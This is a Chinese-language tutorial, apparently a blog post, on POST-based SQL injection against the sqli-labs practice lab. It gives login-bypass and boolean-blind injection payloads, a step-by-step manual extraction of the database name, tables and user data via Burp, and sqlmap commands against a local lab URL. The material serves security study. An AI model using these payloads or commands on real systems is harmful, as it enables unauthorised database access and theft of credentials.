一. POST型注入原理
1. 源码分析
sqli-labs-master 第10关
过程分析:post传入2个参数uname,paword,然后将2个参数带入sql语句进行查询。语句:
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
查询到的结果进行if条件语句匹配;匹配到的就回显:you Login name:Dump等等;匹配不到就无回显。
2. POST型注入原理
sql语句:
SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1
正常登录:
注入登录(万能密码):
select username,password from users where username='admin' and password='password' or '1'='1' limit 0,1;
注入查询(布尔盲注):(需要揣测用户名)
select username,password from users where username='dumb' and length(database())=8;-- -' and password='' limit 0,1
注入查询(布尔盲注):(不需要揣测用户名)
select username,password from users where username='1234' and password='1234' or length(database())=8 limit 0,1;
sqlmap使用的是布尔盲注
靶机:sqli-labs-master 第十三关
POST型注入就是盲注;得先了解盲注才能手工注入
1. 关于POST型手工注入我更喜欢使用burp进行注入
抓取数据包;发送到Repeater
2. 查询注入点
利用万能密码查询注入点和闭合方式;闭合方式为 (' ')
uname=admin&passwd=password') or ('1')=('1&submit=Submit
3. 查询数据库字符数
uname=admin&passwd=password') or length(database())=('8&submit=Submit
得到数据库字符数为:8
4. 查询数据库第一个字符
依次类推,得到数据库名为security
5. 查询数据库下表个数
6. 查询第一个表字符数
7. 查询第一个表第一个字符
根据ascii码得到第一个字符为e;后门依此列得所有表名;其中一个表名users
8. 查询表名users的字段数
同上
9. 查询表名users第一个字段的字符数
同上
10. 查询表名users第一个字段的第一个字符
同上;查询到所有字符后,有2个字符,分别是username,password
11. 查询数据
(1)查询数据的字符数
得到第一列(username~password)组合字符长度为9
(2)查询数据的第一个字符
数据的第一个字符为D,后面同此可以得到所有数据
三. POST型注入sqlmap
靶机:sqli-labs-master 第13关
1. forms指定识别表格注入(登录验证需指定cookie)
主要参数--forms
sqlmap -u "http://127.0.0.1/sqli-labs-master/Less-11/" --forms --dbs --batch
2. burp抓包保存txt文件注入(免登录验证)
主要参数 -r
(1)burp抓取数据包
(2)复制到指定路径txt文件
我复制的是:D:\sqlmap\3.txt
(3)sqlmap执行注入
3. 指定POST型参数注入
主要参数:data=""